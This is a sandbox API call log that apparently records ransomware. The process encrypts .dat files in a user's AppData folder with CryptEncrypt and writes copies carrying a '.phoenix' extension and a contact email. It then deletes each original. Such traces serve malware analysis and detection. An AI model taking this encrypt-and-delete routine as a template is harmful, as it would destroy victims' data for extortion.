	[0266.393] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0266.393] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0266.393] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHWKN.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhwkn.dat.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0266.393] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151640) returned 1
	[0266.393] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0266.393] ReadFile (in: hFile=0x2b0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x1d0, lpOverlapped=0x0) returned 1
	[0266.394] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1e0, dwBufLen=0x1e0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1e0) returned 1
	[0266.394] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x1e0, lpOverlapped=0x0) returned 1
	[0266.395] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1512c0) returned 1
	[0266.395] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0266.395] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0266.395] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0266.395] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x102, lpOverlapped=0x0) returned 1
	[0266.397] CryptDestroyKey (hKey=0x151640) returned 1
	[0266.397] CloseHandle (hObject=0x2b0) returned 1
	[0266.397] CloseHandle (hObject=0x2c0) returned 1
	[0266.397] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHWKN.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhwkn.dat")) returned 1
	[0266.404] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0266.404] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ140.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj140.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0266.408] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=450) returned 1
	[0266.408] CloseHandle (hObject=0x2e8) returned 1
	[0266.410] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ140.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj140.dat")) returned 0x20
	[0266.410] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ140.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj140.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0266.410] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ140.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj140.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0266.410] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0266.410] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0266.410] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ140.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj140.dat.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0266.410] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151600) returned 1
	[0266.411] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0266.411] ReadFile (in: hFile=0x2e8, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x1c2, lpOverlapped=0x0) returned 1
	[0266.411] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1d0) returned 1
	[0266.411] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x1d0, lpOverlapped=0x0) returned 1
	[0266.412] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1517c0) returned 1
	[0266.412] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0266.412] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0266.412] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0266.412] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x102, lpOverlapped=0x0) returned 1
	[0266.413] CryptDestroyKey (hKey=0x151600) returned 1
	[0266.413] CloseHandle (hObject=0x2e8) returned 1
	[0266.413] CloseHandle (hObject=0x2c0) returned 1
	[0266.413] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ140.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj140.dat")) returned 1
	[0266.414] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0266.414] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ364.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj364.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0266.414] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=452) returned 1
	[0266.414] CloseHandle (hObject=0x2c0) returned 1
	[0266.415] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ364.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj364.dat")) returned 0x20
	[0266.415] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ364.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj364.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0266.415] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ364.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj364.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0266.415] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0266.415] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0266.415] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ364.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj364.dat.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0266.415] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151600) returned 1
	[0266.415] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0266.415] ReadFile (in: hFile=0x2c0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x1c4, lpOverlapped=0x0) returned 1
	[0266.416] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1d0) returned 1
	[0266.416] WriteFile (in: hFile=0x2e8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x1d0, lpOverlapped=0x0) returned 1
	[0266.417] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151500) returned 1
	[0266.417] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0266.417] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0266.417] CryptDestroyKey (hKey=0x151500) returned 1
	[0266.417] WriteFile (in: hFile=0x2e8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x102, lpOverlapped=0x0) returned 1
	[0266.418] CryptDestroyKey (hKey=0x151600) returned 1
	[0266.418] CloseHandle (hObject=0x2c0) returned 1
	[0266.418] CloseHandle (hObject=0x2e8) returned 1
	[0266.418] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ364.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj364.dat")) returned 1
	[0266.419] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0266.419] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3P2.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj3p2.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0266.419] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=453) returned 1
	[0266.419] CloseHandle (hObject=0x2e8) returned 1
	[0266.419] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3P2.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj3p2.dat")) returned 0x20
	[0266.420] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3P2.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj3p2.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0266.420] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3P2.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj3p2.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0266.420] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0266.420] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0266.420] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3P2.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj3p2.dat.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0266.420] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151400) returned 1
	[0266.420] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0266.420] ReadFile (in: hFile=0x2e8, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x1c5, lpOverlapped=0x0) returned 1
	[0266.421] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1d0) returned 1
	[0266.421] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x1d0, lpOverlapped=0x0) returned 1
	[0266.422] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151100) returned 1
	[0266.422] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0266.422] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0266.422] CryptDestroyKey (hKey=0x151100) returned 1
	[0266.422] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x102, lpOverlapped=0x0) returned 1
	[0266.423] CryptDestroyKey (hKey=0x151400) returned 1
	[0266.423] CloseHandle (hObject=0x2e8) returned 1
	[0266.423] CloseHandle (hObject=0x2c0) returned 1
	[0266.423] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3P2.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj3p2.dat")) returned 1
	[0266.424] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0266.424] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3PM.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj3pm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0266.425] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=456) returned 1
	[0266.425] CloseHandle (hObject=0x2c0) returned 1
	[0266.425] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3PM.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj3pm.dat")) returned 0x20
	[0266.425] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3PM.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj3pm.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0266.425] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3PM.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj3pm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0266.425] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0266.425] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0266.425] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3PM.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj3pm.dat.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0266.426] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1517c0) returned 1
	[0266.426] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0266.426] ReadFile (in: hFile=0x2c0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x1c8, lpOverlapped=0x0) returned 1
	[0266.427] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1d0) returned 1
	[0266.427] WriteFile (in: hFile=0x2e8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x1d0, lpOverlapped=0x0) returned 1
	[0266.428] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151100) returned 1
	[0266.428] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0266.428] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0266.428] CryptDestroyKey (hKey=0x151100) returned 1
	[0266.428] WriteFile (in: hFile=0x2e8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x102, lpOverlapped=0x0) returned 1
	[0266.428] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0266.428] CloseHandle (hObject=0x2c0) returned 1
	[0266.428] CloseHandle (hObject=0x2e8) returned 1
	[0266.429] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3PM.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj3pm.dat")) returned 1
	[0266.429] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0266.429] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3PR.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj3pr.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0266.430] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=457) returned 1
	[0266.430] CloseHandle (hObject=0x2e8) returned 1
	[0266.430] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3PR.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj3pr.dat")) returned 0x20
	[0266.430] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3PR.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj3pr.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0266.430] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3PR.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj3pr.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0266.430] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0266.430] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
